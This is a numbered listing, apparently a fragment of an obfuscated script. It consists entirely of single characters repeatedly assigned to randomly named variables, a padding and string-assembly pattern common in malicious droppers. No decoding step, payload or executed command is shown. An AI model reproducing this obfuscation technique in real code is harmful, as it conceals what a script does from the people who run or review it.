113	oaoprqfgp = "r";
114	oaoprqfgp = "h";
115	oaoprqfgp = "k";
116	oaoprqfgp = "A";
117	oaoprqfgp = "j";
118	oaoprqfgp = "g";
119	oaoprqfgp = "T";
120	oaoprqfgp = "P";
121	oaoprqfgp = "p";
122	oaoprqfgp = "i";
123	oaoprqfgp = "E";
124	oaoprqfgp = "x";
125	oaoprqfgp = "j";
126	bcigomsn = "V";
127	bcigomsn = "Y";
128	bcigomsn = "Y";
129	bcigomsn = "T";
130	bcigomsn = "o";
131	bcigomsn = "M";
132	bcigomsn = "A";
133	bcigomsn = "U";
134	bcigomsn = "R";
135	bcigomsn = "D";
136	bcigomsn = "X";
137	bcigomsn = "N";
138	bcigomsn = "V";
139	bcigomsn = "O";
140	bcigomsn = "S";
141	bcigomsn = "X";
142	bcigomsn = "H";
143	kvdxsic = "q";
144	kvdxsic = "c";
145	kvdxsic = "p";
146	kvdxsic = "o";
147	kvdxsic = "J";
148	kvdxsic = "r";
149	kvdxsic = "W";
150	kvdxsic = "T";
151	kvdxsic = "t";
152	kvdxsic = "g";
153	kvdxsic = "F";
154	kvdxsic = "D";
155	kvdxsic = "v";
156	kvdxsic = "m";
157	kvdxsic = "O";
158	kvdxsic = "j";
159	kvdxsic = "M";
160	kvdxsic = "q";
161	kvdxsic = "M";
162	kvdxsic = "W";
163	kvdxsic = "j";
164	kvdxsic = "i";
165	kvdxsic = "z";
166	kvdxsic = "w";
167	kvdxsic = "M";
168	kvdxsic = "h";
169	kvdxsic = "f";
170	kvdxsic = "I";
171	kvdxsic = "\\";
172	qbkbh = "d";
173	qbkbh = "m";
174	qbkbh = "y";
175	qbkbh = "V";
176	qbkbh = "s";
177	qbkbh = "H";
178	qbkbh = "h";
179	qbkbh = "P";
180	qbkbh = "u";
181	qbkbh = "a";
182	qbkbh = "q";
183	qbkbh = "b";
184	qbkbh = "X";
185	qbkbh = "V";
186	qbkbh = "s";
187	qbkbh = "e";
188	qbkbh = "y";
189	qbkbh = "Z";
190	qbkbh = "A";
191	qbkbh = "d";
192	qbkbh = "u";
193	qbkbh = "V";
194	qbkbh = "p";
195	qbkbh = "q";
196	qbkbh = "L";
197	qbkbh = "D";
198	qbkbh = "x";
199	qbkbh = "Z";
200	qbkbh = "Q";
201	qbkbh = "n";
202	qbkbh = "J";
203	qbkbh = "z";
204	qbkbh = "O";
205	qbkbh = "J";
206	qbkbh = "Y";
207	qbkbh = "e";
208	hoahm = "C";
209	hoahm = "n";
210	hoahm = "M";
211	hoahm = "l";
212	hoahm = "o";
213	hoahm = "Z";
214	hoahm = "O";
215	hoahm = "N";
216	hoahm = "L";
217	hoahm = "J";
218	hoahm = "S";
219	jknvy = "i";
220	jknvy = "X";
221	jknvy = "S";
222	jknvy = "P";
223	jknvy = "v";
224	jknvy = "/";
225	rzlleb = "a";
226	rzlleb = "e";
227	rzlleb = "o";
228	rzlleb = "t";
229	rzlleb = "A";
230	rzlleb = "X";
231	rzlleb = "Z";
232	rzlleb = "i";
233	rzlleb = "u";
234	rzlleb = "m";
235	rzlleb = "O";
236	rzlleb = "F";
237	rzlleb = "C";
238	rzlleb = "g";
239	rzlleb = "z";
240	rzlleb = "n";
241	rzlleb = "F";
242	rzlleb = "R";
243	rzlleb = "U";
244	rzlleb = "p";
245	rzlleb = "h";
246	rzlleb = "T";
247	rzlleb = "b";
248	rzlleb = "O";
249	rzlleb = "D";
250	rzlleb = "C";
251	rzlleb = "z";
252	rzlleb = "Y";
253	lblblcc = "R";
254	lblblcc = "x";
255	lblblcc = "U";
256	lblblcc = "I";
257	lblblcc = "c";
258	lblblcc = "o";
259	lblblcc = "Q";
260	lblblcc = "P";
261	lblblcc = "Y";
262	lblblcc = "Y";
263	lblblcc = "Y";
264	lblblcc = "D";
265	lblblcc = "H";
266	lblblcc = "C";
267	lblblcc = "v";
268	lblblcc = "n";
269	lblblcc = "e";
270	lblblcc = "G";
271	lblblcc = "e";
272	lblblcc = "h";
273	lblblcc = "x";
274	lblblcc = "j";
275	lblblcc = "Q";
276	lblblcc = "X";
277	lblblcc = "e";
278	lblblcc = "U";
279	lblblcc = "U";
280	lblblcc = "K";
281	lblblcc = "r";
282	lblblcc = "f";
283	lblblcc = "v";
284	lblblcc = "H";
285	lblblcc = "T";
286	lblblcc = "Y";
287	lblblcc = "M";
288	lblblcc = "Q";
289	lblblcc = "L";
290	lblblcc = "t";
291	lblblcc = "X";
292	lblblcc = "T";
293	lblblcc = "F";
294	lblblcc = "Q";
295	lblblcc = "5";
296	tened = "i";
297	tened = "b";
298	tened = "E";
299	tened = "c";
300	tened = "C";
301	tened = "u";
302	tened = "g";
303	tened = "d";
304	tened = "K";
305	tened = "H";
306	tened = "n";
307	tened = "m";
308	tened = "V";
309	tened = "u";
310	tened = "R";
311	tened = "k";
312	tened = "d";
313	tened = "b";
314	tened = "H";
315	tened = "v";
316	tened = "C";
317	sbbtkc = "W";
318	sbbtkc = "j";
319	sbbtkc = "D";
320	sbbtkc = "h";
321	sbbtkc = "u";
322	sbbtkc = "s";
323	sbbtkc = "E";
324	sbbtkc = "r";
325	sbbtkc = "Q";
326	sbbtkc = "h";
327	sbbtkc = "v";
328	sbbtkc = "S";
329	sbbtkc = "J";
330	sbbtkc = "p";
331	sbbtkc = "A";
332	sbbtkc = "I";
333	osihjbj = "g";
334	vvcmab = "Z";
335	vvcmab = "c";
336	vvcmab = "O";
337	vvcmab = "L";
338	vvcmab = "z";
339	vvcmab = "V";
340	vvcmab = "Q";
341	vvcmab = "R";
342	vvcmab = "m";
343	vvcmab = "A";
344	vvcmab = "Z";
345	vvcmab = "X";
346	vvcmab = "p";
347	vvcmab = "Q";
348	vvcmab = "i";
349	vvcmab = "u";
350	vvcmab = "r";
351	vvcmab = "g";
352	vvcmab = "G";
353	vvcmab = "g";
354	vvcmab = "B";
355	vvcmab = "K";
356	vvcmab = "O";
357	vvcmab = "f";
358	vvcmab = "k";
359	vvcmab = "d";
360	vvcmab = "r";
361	vvcmab = "Z";
362	vvcmab = "x";
363	vvcmab = "q";
364	vvcmab = "Z";
365	vvcmab = "h";
366	vvcmab = "P";
367	vvcmab = "z";
368	vvcmab = "t";
369	vvcmab = "Y";
370	vvcmab = "R";
371	vvcmab = "N";
372	vvcmab = "Y";
373	vvcmab = "v";
374	vvcmab = "P";
375	gqnvbup = "l";
376	gqnvbup = "e";
377	gqnvbup = "S";
378	gqnvbup = "N";
379	gqnvbup = "Q";
380	gqnvbup = "D";
381	gqnvbup = "A";
382	gqnvbup = "r";
383	gqnvbup = "P";
384	gqnvbup = "s";
385	gqnvbup = "Q";
386	gqnvbup = "E";
387	gqnvbup = "n";
388	gqnvbup = "Z";
389	gqnvbup = "M";
390	gqnvbup = "Z";
391	gqnvbup = "d";
392	gqnvbup = "z";
393	gqnvbup = "C";
394	gqnvbup = "R";
395	gqnvbup = "w";
396	gqnvbup = "g";
397	gqnvbup = "r";
398	gqnvbup = "c";
399	byslrfg = "X";
400	byslrfg = "N";
401	byslrfg = "Y";
402	byslrfg = "u";
403	byslrfg = "f";
404	byslrfg = "e";
405	byslrfg = "k";
406	byslrfg = "Z";
407	byslrfg = "U";
408	byslrfg = "l";
409	mrjnbohhk = "A";
410	mrjnbohhk = "c";
411	mrjnbohhk = "B";
412	mrjnbohhk = "p";
413	mrjnbohhk = "V";
414	mrjnbohhk = "y";
415	mrjnbohhk = "l";
416	mrjnbohhk = "H";
417	mrjnbohhk = "Q";
418	mrjnbohhk = "T";
419	mrjnbohhk = "i";
420	mrjnbohhk = "e";
421	mrjnbohhk = "B";
422	mrjnbohhk = "h";
423	mrjnbohhk = "b";
424	mrjnbohhk = "Y";
425	mrjnbohhk = "M";
426	mrjnbohhk = "t";
427	mrjnbohhk = "C";
428	mrjnbohhk = "v";
429	mrjnbohhk = "b";
430	mrjnbohhk = "O";
431	mrjnbohhk = "B";
432	mrjnbohhk = "L";
433	mrjnbohhk = "r";
434	mrjnbohhk = "y";
435	mrjnbohhk = "o";
436	mrjnbohhk = "J";
437	mrjnbohhk = "j";
438	mrjnbohhk = "V";
439	mrjnbohhk = "s";
440	mrjnbohhk = "M";
441	mrjnbohhk = "R";
442	mrjnbohhk = "s";
443	mrjnbohhk = "g";
444	mrjnbohhk = "c";
445	mrjnbohhk = "j";
446	mrjnbohhk = "d";
447	mrjnbohhk = "j";
448	mrjnbohhk = "F";
449	mrjnbohhk = "v";
450	mrjnbohhk = "j";
451	mrjnbohhk = "j";
452	mrjnbohhk = "n";
453	mrjnbohhk = "m";
454	aazbtqns = "i";
455	aazbtqns = "Z";
456	aazbtqns = "h";
457	aazbtqns = "E";
458	aazbtqns = "D";
459	aazbtqns = "X";
460	aazbtqns = "T";
461	aazbtqns = "v";
462	aazbtqns = "e";
463	aazbtqns = "H";
464	aazbtqns = "r";
465	aazbtqns = "X";
466	aazbtqns = "j";
467	aazbtqns = "R";
468	aazbtqns = "E";
469	aazbtqns = "n";
470	ymbcjnreu = "k";
471	ymbcjnreu = "d";
472	ymbcjnreu = "B";
473	ymbcjnreu = "J";
474	ymbcjnreu = "e";
475	ymbcjnreu = "P";
476	ymbcjnreu = "Y";
477	ymbcjnreu = "V";
478	ymbcjnreu = "C";
479	ymbcjnreu = "m";
480	ymbcjnreu = "a";
481	ymbcjnreu = "E";
482	ymbcjnreu = "g";
483	ymbcjnreu = "S";
484	ymbcjnreu = "m";
485	ymbcjnreu = "V";
486	ymbcjnreu = "W";
487	ymbcjnreu = "w";
488	ymbcjnreu = "s";
489	ymbcjnreu = "K";
490	ymbcjnreu = "v";
491	ymbcjnreu = "g";
492	ymbcjnreu = "V";
493	ymbcjnreu = "d";
494	ymbcjnreu = "q";
495	ymbcjnreu = "J";
496	ymbcjnreu = "x";
497	ymbcjnreu = "B";
498	ymbcjnreu = "M";
499	ymbcjnreu = "p";
500	ymbcjnreu = "v";
501	ymbcjnreu = "N";
502	ymbcjnreu = "I";
503	ymbcjnreu = "n";
504	ymbcjnreu = "J";
505	ymbcjnreu = "b";
506	ymbcjnreu = "k";
507	ymbcjnreu = "u";
508	ymbcjnreu = "T";
509	ymbcjnreu = "F";
510	obdyc = "Q";
511	obdyc = "o";
512	obdyc = "d";
513	obdyc = "b";
514	obdyc = "J";
515	obdyc = "h";
516	obdyc = "R";
517	obdyc = "e";
518	obdyc = "J";
519	obdyc = "g";
520	obdyc = "f";
521	obdyc = "f";
522	obdyc = "Q";
523	obdyc = "n";
524	obdyc = "w";
525	obdyc = "I";
526	obdyc = "X";
527	obdyc = "X";
528	obdyc = "y";
529	obdyc = "Y";
530	obdyc = "v";
531	obdyc = "c";
532	obdyc = "K";
533	obdyc = "E";
534	obdyc = "C";
535	obdyc = "X";
536	obdyc = "l";
537	obdyc = "G";
538	obdyc = "K";
539	vskvbumps = "v";
540	vskvbumps = "L";
541	vskvbumps = "T";
542	vskvbumps = "g";
543	vskvbumps = "W";
544	vskvbumps = "b";
545	vskvbumps = "y";
546	vskvbumps = "n";
547	vskvbumps = "V";
548	vskvbumps = "s";
549	vskvbumps = "R";
550	xcwwlyuo = "G";
551	xcwwlyuo = "i";
552	xcwwlyuo = "a";
553	xcwwlyuo = "E";
554	xcwwlyuo = "n";
555	xcwwlyuo = "b";
556	xcwwlyuo = "X";
557	xcwwlyuo = "D";
558	xcwwlyuo = "r";
559	xcwwlyuo = "d";
560	xcwwlyuo = "h";
561	xcwwlyuo = "B";
562	xcwwlyuo = "v";
563	xcwwlyuo = "l";
564	xcwwlyuo = "w";
565	xcwwlyuo = "d";
566	xcwwlyuo = "k";
567	xcwwlyuo = "h";
568	xcwwlyuo = "C";
569	xcwwlyuo = "N";
570	xcwwlyuo = "y";
571	xcwwlyuo = "F";
572	xcwwlyuo = "R";
573	xcwwlyuo = "V";
574	xcwwlyuo = "v";
575	xcwwlyuo = "9";
576	waqnwnom = "H";
577	waqnwnom = "z";
578	waqnwnom = "a";
579	waqnwnom = "G";
580	waqnwnom = "k";
581	waqnwnom = "x";
582	waqnwnom = "e";
583	waqnwnom = "P";
584	waqnwnom = "Z";
585	waqnwnom = "v";
586	waqnwnom = "V";
587	waqnwnom = "e";
588	waqnwnom = "q";
589	waqnwnom = "O";
590	waqnwnom = "Q";
591	waqnwnom = "T";
592	waqnwnom = "G";
593	waqnwnom = "x";
594	waqnwnom = "s";
595	waqnwnom = "Z";
596	waqnwnom = "m";
597	waqnwnom = "E";
598	waqnwnom = "U";
599	waqnwnom = "k";
600	waqnwnom = "M";
601	waqnwnom = "g";
602	waqnwnom = "U";
603	waqnwnom = "D";
604	waqnwnom = "x";
605	waqnwnom = "v";
606	nzotzqevr = "k";
607	nzotzqevr = "Q";
608	nzotzqevr = "V";
609	nzotzqevr = "x";
610	nzotzqevr = "X";
611	nzotzqevr = "c";
612	nzotzqevr = "q";
613	nzotzqevr = "W";
614	nzotzqevr = "V";
615	nzotzqevr = "v";
616	nzotzqevr = "P";
617	nzotzqevr = "f";
618	nzotzqevr = "t";
619	nzotzqevr = "d";
620	nzotzqevr = "q";
621	nzotzqevr = "q";
622	nzotzqevr = "g";
623	nzotzqevr = "H";
624	nzotzqevr = "G";
625	nzotzqevr = "z";
626	nzotzqevr = "A";
627	nzotzqevr = "r";
628	nzotzqevr = "z";
629	nzotzqevr = "Z";
630	nzotzqevr = "c";
631	nzotzqevr = "F";
632	nzotzqevr = "y";
633	nzotzqevr = "t";
634	nzotzqevr = "g";
635	nzotzqevr = "q";
636	nzotzqevr = "D";
637	nzotzqevr = "S";
638	nzotzqevr = "o";
639	nzotzqevr = "k";
640	nzotzqevr = "n";
641	nzotzqevr = "y";
642	nzotzqevr = "y";
643	nzotzqevr = "P";
644	nzotzqevr = "k";
645	nkecfdp = "T";
646	nkecfdp = "J";
647	nkecfdp = "k";
648	nkecfdp = "Z";
649	nkecfdp = "f";
650	nkecfdp = "a";
651	nkecfdp = "c";
652	nkecfdp = "u";
653	nkecfdp = "S";
654	nkecfdp = "D";
655	nkecfdp = "I";
656	nkecfdp = "Y";
657	nkecfdp = "f";
658	nkecfdp = "p";
659	nkecfdp = "n";
660	nkecfdp = "i";
661	nkecfdp = "O";
662	nkecfdp = "-";
663	dnuzidv = "O";
664	dnuzidv = "G";
665	dnuzidv = "q";
666	dnuzidv = "V";
667	dnuzidv = "o";
668	dnuzidv = "y";
669	dnuzidv = "S";
670	dnuzidv = "C";
671	dnuzidv = "q";
672	dnuzidv = "h";
673	dnuzidv = "O";
674	dnuzidv = "u";
675	dnuzidv = "L";
676	dnuzidv = "k";
677	dnuzidv = "o";
678	dnuzidv = "G";
679	dnuzidv = "b";
680	dnuzidv = "l";
681	dnuzidv = "P";
682	dnuzidv = "s";
683	dnuzidv = "n";
684	dnuzidv = "o";
685	dnuzidv = "t";
686	dnuzidv = "a";
687	dnuzidv = "Q";
688	dnuzidv = "K";
689	dnuzidv = "y";
690	dnuzidv = "p";
691	dnuzidv = "i";
692	dnuzidv = "M";
693	dnuzidv = "o";
694	dnuzidv = "j";
695	dnuzidv = "k";
696	dnuzidv = "v";
697	dnuzidv = "R";
698	dnuzidv = "w";
699	dnuzidv = "M";
700	dnuzidv = "%";
701	nfxsklr = "a";
702	nfxsklr = "i";
703	nfxsklr = "c";
704	nfxsklr = "R";
705	nfxsklr = "b";
706	nfxsklr = "n";
707	nfxsklr = "L";
708	nfxsklr = "N";
709	nfxsklr = "C";
710	nfxsklr = "C";
711	nfxsklr = "H";
712	nfxsklr = "Y";
713	nfxsklr = "V";
714	nfxsklr = "Y";
715	nfxsklr = "x";
716	nfxsklr = "l";
717	nfxsklr = "g";
718	nfxsklr = "V";
719	nfxsklr = "d";
720	nfxsklr = "d";
721	nfxsklr = "W";
722	nfxsklr = "R";
723	nfxsklr = "v";
724	nfxsklr = "_";
725	vjzmcf = "e";
726	vjzmcf = "o";
727	vjzmcf = "I";
728	vjzmcf = "J";
729	vjzmcf = "A";
730	vjzmcf = "j";
731	vjzmcf = "Z";
732	vjzmcf = "b";
733	vjzmcf = "d";
734	qzmziofy = "f";
735	qzmziofy = "L";
736	qzmziofy = "k";
737	qzmziofy = "0";
738	vemsbtbg = "y";
739	vemsbtbg = "G";
740	vemsbtbg = "N";
741	vemsbtbg = "X";
742	vemsbtbg = "I";
743	vemsbtbg = "R";
744	vemsbtbg = "N";
745	vemsbtbg = "l";
746	vemsbtbg = "W";
747	vemsbtbg = "S";
748	vemsbtbg = "g";
749	vemsbtbg = ":";
750	hytcze = "v";
751	hytcze = "q";
752	hytcze = "D";
753	hytcze = "H";
754	hytcze = "y";
755	hytcze = "b";
756	hytcze = "c";
757	hytcze = "D";
758	hytcze = "g";
759	hytcze = "a";
760	hytcze = "Q";
761	hytcze = "M";
762	hytcze = "m";
763	hytcze = "d";
764	hytcze = "b";
765	juyil = "G";
766	juyil = "Z";
767	juyil = "&";
768	dgcjsj = "W";
769	dgcjsj = "b";
770	dgcjsj = "d";
771	dgcjsj = "e";
772	dgcjsj = "Q";
773	dgcjsj = "e";
774	dgcjsj = "w";
775	dgcjsj = "b";
776	dgcjsj = "M";
777	dgcjsj = "Q";
778	dgcjsj = "N";
779	dgcjsj = "x";
780	gsmla = "v";
781	gsmla = "h";
782	gsmla = "f";
783	gsmla = "H";
784	gsmla = "W";
785	gsmla = "L";
786	gsmla = "H";
787	gsmla = "A";
788	gsmla = "O";
789	anohxfkla = "d";
790	anohxfkla = "w";
791	anohxfkla = "i";
792	anohxfkla = "t";
793	anohxfkla = "E";
794	anohxfkla = "p";
795	anohxfkla = "P";
796	anohxfkla = "y";
797	anohxfkla = "M";
798	anohxfkla = "s";
799	anohxfkla = "c";
800	anohxfkla = "s";
801	anohxfkla = "F";
802	anohxfkla = "p";
803	anohxfkla = "e";
804	anohxfkla = "g";
805	anohxfkla = "A";
806	anohxfkla = "M";
807	anohxfkla = "O";
808	anohxfkla = "x";
809	anohxfkla = "d";
810	anohxfkla = "e";
811	anohxfkla = "Q";
812	anohxfkla = "Q";
813	anohxfkla = "z";
814	anohxfkla = "X";
815	anohxfkla = "p";
816	anohxfkla = "m";
817	anohxfkla = "M";
818	anohxfkla = "u";
819	anohxfkla = "c";
820	anohxfkla = "W";
821	anohxfkla = "G";
822	anohxfkla = "Y";
823	anohxfkla = "l";
824	anohxfkla = "v";
825	anohxfkla = "f";
826	anohxfkla = "M";
827	anohxfkla = "e";
828	anohxfkla = "U";
829	mgizj = "V";
830	mgizj = "l";
831	mgizj = "E";
832	mgizj = "p";
833	mgizj = "V";
834	mgizj = "i";
835	mgizj = "S";
836	mgizj = "Y";
837	mgizj = "R";
838	mgizj = "I";
839	mgizj = "k";
840	mgizj = "Q";
841	mgizj = "e";
842	mgizj = "m";
843	mgizj = "p";
844	mgizj = "G";
845	mgizj = "M";
846	mgizj = "P";
847	mgizj = "P";
848	mgizj = "C";
849	mgizj = "O";
850	mgizj = "O";
851	mgizj = "H";
852	mgizj = "d";
853	mgizj = "o";
854	mgizj = "p";
855	mgizj = "U";
856	mgizj = "R";
857	mgizj = "H";
858	mgizj = "H";
859	mgizj = "V";
860	mgizj = "T";
861	mgizj = "Q";
862	mgizj = "t";
863	mgizj = "v";
864	mgizj = " ";
865	rndqm = "4";
866	ikayxmomx = "y";
867	ikayxmomx = "E";
868	ikayxmomx = "t";
869	ikayxmomx = "Y";
870	ikayxmomx = "K";
871	ikayxmomx = "D";
872	ikayxmomx = "s";
873	ikayxmomx = "s";
874	ikayxmomx = "Y";
875	ikayxmomx = "p";
876	ikayxmomx = "q";
877	ikayxmomx = "J";
878	ikayxmomx = "A";
879	ikayxmomx = "N";
880	ikayxmomx = "U";
881	ikayxmomx = "L";
882	ikayxmomx = "v";
883	ikayxmomx = "B";
884	ikayxmomx = "Z";
885	ikayxmomx = "T";
886	ikayxmomx = "v";
887	ikayxmomx = "c";
888	ikayxmomx = "w";
889	ikayxmomx = "l";
890	ikayxmomx = "p";
891	ikayxmomx = "N";
892	ikayxmomx = "U";
893	ikayxmomx = "P";
894	ikayxmomx = "E";
895	ikayxmomx = "z";
896	ikayxmomx = "p";
897	ikayxmomx = "N";
898	ikayxmomx = "s";
899	ikayxmomx = "X";
900	ikayxmomx = "y";
901	ikayxmomx = "n";
902	ikayxmomx = "e";
903	ikayxmomx = "U";
904	ikayxmomx = "c";
905	ikayxmomx = "D";
906	ikayxmomx = "L";
907	yvbrkqh = "U";
908	yvbrkqh = "t";
909	yvbrkqh = "G";
910	yvbrkqh = "i";
911	yvbrkqh = "n";
912	yvbrkqh = "u";
913	yvbrkqh = "D";
914	yvbrkqh = "d";
915	yvbrkqh = "w";
916	yvbrkqh = "u";
917	yvbrkqh = "L";
918	yvbrkqh = "f";
919	yvbrkqh = "I";
920	yvbrkqh = "z";
921	yvbrkqh = "m";
922	yvbrkqh = "i";
923	yvbrkqh = "S";
924	yvbrkqh = "P";
925	yvbrkqh = "V";
926	yvbrkqh = "x";
927	yvbrkqh = "l";
928	yvbrkqh = "U";
929	yvbrkqh = "C";
930	yvbrkqh = "F";
931	yvbrkqh = "q";
932	yvbrkqh = "c";
933	yvbrkqh = "N";
934	yvbrkqh = "Q";
935	yvbrkqh = "J";
936	yvbrkqh = "U";
937	yvbrkqh = "Z";
938	yvbrkqh = "o";
939	yvbrkqh = "p";
940	yvbrkqh = "P";
941	yvbrkqh = "o";
942	yvbrkqh = "W";
943	yvbrkqh = "n";
944	yvbrkqh = "W";
945	yvbrkqh = "i";
946	yvbrkqh = "K";
947	yvbrkqh = "p";
948	yvbrkqh = "n";
949	yvbrkqh = "2";
950	qgkrqbz = "g";
951	qgkrqbz = "p";
952	qgkrqbz = "y";
953	qgkrqbz = "l";
954	qgkrqbz = "y";
955	qgkrqbz = "x";
956	qgkrqbz = "r";
957	aqknpoef = "M";
958	aqknpoef = "i";
959	aqknpoef = "x";
960	aqknpoef = "u";
961	aqknpoef = "w";
962	aqknpoef = "P";
963	aqknpoef = "r";
964	aqknpoef = "P";
965	aqknpoef = "Y";
966	aqknpoef = "K";
967	aqknpoef = "Q";
968	aqknpoef = "Z";
969	aqknpoef = "k";
970	aqknpoef = "b";
971	aqknpoef = "H";
972	aqknpoef = "o";
973	aqknpoef = "V";
974	aqknpoef = "i";
975	xcunkwwzh = "J";
976	xcunkwwzh = "I";
977	xcunkwwzh = "L";
978	xcunkwwzh = "K";
979	xcunkwwzh = "j";
980	xcunkwwzh = "F";
981	xcunkwwzh = "u";
982	xcunkwwzh = "u";
983	uqdsf = "T";
984	uqdsf = "j";
985	uqdsf = "p";
986	uqdsf = "b";
987	uqdsf = "J";
988	uqdsf = "e";
989	uqdsf = "U";
990	uqdsf = "N";
991	oaumu = "x";
992	oaumu = "n";
993	oaumu = "A";
994	oaumu = "V";
995	oaumu = "8";
996	ohdgosvnn = "S";
997	ohdgosvnn = "s";
998	jyexhz = "v";
999	jyexhz = "H";
1000	jyexhz = "o";
1001	jyexhz = "J";
1002	jyexhz = "v";
1003	jyexhz = "w";
1004	jyexhz = "D";
1005	jyexhz = "c";
1006	jyexhz = "o";
1007	jyexhz = "D";
1008	jyexhz = "L";
1009	jyexhz = "C";
1010	jyexhz = "O";
1011	jyexhz = "V";
1012	jyexhz = "B";
1013	jyexhz = "Q";
1014	jyexhz = "c";
1015	jyexhz = "X";
1016	jyexhz = "U";
1017	jyexhz = "F";
1018	jyexhz = "v";
1019	jyexhz = "z";
1020	jyexhz = "A";
1021	jyexhz = "s";
1022	jyexhz = "N";
1023	jyexhz = "y";
1024	jyexhz = "s";
1025	jyexhz = "M";
1026	jyexhz = "L";
1027	jyexhz = "o";
1028	jyexhz = "\"";
1029	vzgfxijk = "d";
1030	vzgfxijk = "M";
1031	vzgfxijk = "U";
1032	vzgfxijk = "I";
1033	vzgfxijk = "b";
1034	vzgfxijk = "c";
1035	vzgfxijk = "h";
1036	vzgfxijk = "Q";
1037	vzgfxijk = "B";
1038	vzgfxijk = "J";
1039	vzgfxijk = "a";
1040	vzgfxijk = "N";
1041	vzgfxijk = "q";
1042	vzgfxijk = "J";
1043	vzgfxijk = "V";
1044	vzgfxijk = "W";
1045	vzgfxijk = "Q";
1046	tbqfi = "T";
1047	tbqfi = "M";
1048	tbqfi = "n";
1049	tbqfi = "i";
1050	tbqfi = "T";
1051	tbqfi = "Q";
1052	tbqfi = "Q";
1053	tbqfi = "G";
1054	tbqfi = "w";
1055	tbqfi = "k";
1056	tbqfi = "A";
1057	tbqfi = "y";
1058	tbqfi = "v";
1059	tbqfi = "o";
1060	tbqfi = "z";
1061	tbqfi = "s";
1062	tbqfi = "g";
1063	tbqfi = "w";
1064	tbqfi = "P";
1065	tbqfi = "u";
1066	tbqfi = "Y";
1067	tbqfi = "R";
1068	tbqfi = "g";
1069	tbqfi = "j";
1070	tbqfi = "r";
1071	tbqfi = "M";
1072	tbqfi = "c";
1073	tbqfi = "K";
1074	tbqfi = "L";
1075	tbqfi = "n";
1076	tbqfi = "v";
1077	tbqfi = "k";
1078	tbqfi = "W";
1079	uoiqg = "h";
1080	uoiqg = "P";
1081	uoiqg = "X";
1082	uoiqg = "L";
1083	uoiqg = "P";
1084	uoiqg = "o";
1085	uoiqg = "D";
1086	uoiqg = "I";
1087	uoiqg = "J";
1088	uoiqg = "W";
1089	uoiqg = "r";
1090	uoiqg = "V";
1091	uoiqg = "n";
1092	uoiqg = "C";
1093	uoiqg = "V";
1094	uoiqg = "X";
1095	uoiqg = "X";
1096	uoiqg = "A";
1097	uoiqg = "w";
1098	uoiqg = "R";
1099	uoiqg = "N";
1100	uoiqg = "Q";
1101	uoiqg = "E";
1102	uoiqg = "x";
1103	uoiqg = "Q";
1104	uoiqg = "l";
1105	uoiqg = "e";
1106	uoiqg = "e";
1107	uoiqg = "h";
1108	uoiqg = "l";
1109	uoiqg = "u";
1110	uoiqg = "L";
1111	uoiqg = "I";
1112	uoiqg = "y";
1113	uoiqg = "s";
1114	uoiqg = "g";
1115	uoiqg = "z";
1116	uoiqg = "a";
1117	uoiqg = "o";
1118	olrclqbp = "N";
1119	olrclqbp = "C";
1120	olrclqbp = "H";
1121	olrclqbp = "t";
1122	gppbdneu = "v";
1123	gppbdneu = "I";
1124	gppbdneu = "i";
1125	gppbdneu = "a";
1126	gppbdneu = "M";
1127	gppbdneu = "U";
1128	gppbdneu = "G";
1129	gppbdneu = "B";
1130	gppbdneu = "y";
1131	gppbdneu = "E";
1132	gppbdneu = "f";
1133	gppbdneu = "D";
1134	gppbdneu = "a";
1135	gppbdneu = "a";
1136	gppbdneu = "J";
1137	gppbdneu = "o";
1138	gppbdneu = "p";
1139	gppbdneu = "g";
1140	gppbdneu = "Z";
1141	gppbdneu = "w";
1142	gppbdneu = "K";
1143	gppbdneu = "V";
1144	gppbdneu = "l";
1145	gppbdneu = "H";
1146	gppbdneu = "1";
1147	peymjv = "t";
1148	peymjv = "c";
1149	peymjv = "P";
1150	peymjv = "u";
1151	peymjv = "N";
1152	peymjv = "f";
1153	peymjv = "K";
1154	peymjv = "N";
1155	peymjv = "O";
1156	peymjv = "q";
1157	peymjv = "h";
1158	peymjv = "D";
1159	peymjv = "Q";
1160	peymjv = "P";
1161	peymjv = "P";
1162	peymjv = "w";
1163	peymjv = "V";
1164	peymjv = "H";
1165	peymjv = "K";
1166	peymjv = "c";
1167	peymjv = "X";
1168	peymjv = "D";
1169	peymjv = "s";
1170	peymjv = "B";
1171	peymjv = "L";
1172	peymjv = "S";
1173	peymjv = "K";
1174	peymjv = "K";
1175	peymjv = "v";
1176	peymjv = "Z";
1177	peymjv = "W";
1178	peymjv = "E";
1179	peymjv = "p";
1180	peymjv = "a";
1181	peymjv = "q";
1182	peymjv = "b";
1183	peymjv = "p";
1184	peymjv = "U";
1185	peymjv = "B";
1186	peymjv = "O";
1187	peymjv = "q";
1188	peymjv = "U";
1189	peymjv = ".";
1190	rwjaz = "l";
1191	rwjaz = "H";
1192	rwjaz = "o";
1193	rwjaz = "T";
1194	rwjaz = "x";
1195	rwjaz = "T";
1196	krotpckn = "c";
1197	krotpckn = "N";
1198	krotpckn = "r";
1199	krotpckn = "k";
1200	krotpckn = "v";
1201	krotpckn = "H";
1202	krotpckn = "M";
1203	krotpckn = "b";
1204	krotpckn = "K";
1205	krotpckn = "U";
1206	krotpckn = "R";
1207	krotpckn = "v";
1208	krotpckn = "S";
1209	krotpckn = "u";
1210	krotpckn = "O";
1211	krotpckn = "g";
1212	krotpckn = "z";
1213	krotpckn = "p";
1214	krotpckn = "s";
1215	krotpckn = "x";
1216	krotpckn = "a";
1217	krotpckn = "r";
1218	krotpckn = "V";
1219	krotpckn = "J";
1220	krotpckn = "Z";
1221	krotpckn = "N";
1222	krotpckn = "a";
1223	krotpckn = "M";
1224	krotpckn = "d";
1225	krotpckn = "S";
1226	krotpckn = "J";
1227	krotpckn = "D";
1228	krotpckn = "i";
1229	krotpckn = "y";
1230	krotpckn = "x";
1231	krotpckn = "Y";
1232	krotpckn = "C";
1233	krotpckn = "J";
1234	krotpckn = "a";
1235	ilvkuath = "z";
1236	ilvkuath = "y";
1237	ilvkuath = "i";
1238	ilvkuath = "S";
1239	ilvkuath = "r";
1240	ilvkuath = "d";
1241	ilvkuath = "a";
1242	ilvkuath = "g";
1243	ilvkuath = "m";
1244	ilvkuath = "t";
1245	ilvkuath = "d";
1246	ilvkuath = "t";
1247	ilvkuath = "V";
1248	ilvkuath = "w";
1249	ilvkuath = "@";
1250	ybiedbrg = "y";
1251	ybiedbrg = "j";
1252	ybiedbrg = "Y";
1253	ybiedbrg = "V";
1254	ybiedbrg = "S";
1255	ybiedbrg = "w";
1256	ybiedbrg = "O";
1257	ybiedbrg = "a";
1258	ybiedbrg = "v";
1259	ybiedbrg = "b";
1260	ybiedbrg = "D";
